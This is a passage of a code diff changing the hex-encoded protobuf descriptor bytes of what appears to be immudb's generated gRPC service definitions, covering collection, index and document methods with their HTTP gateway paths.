0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, - 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, - 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, - 0x78, 0x65, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, - 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, - 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, - 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, - 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, - 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, + 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x87, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, + 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x29, 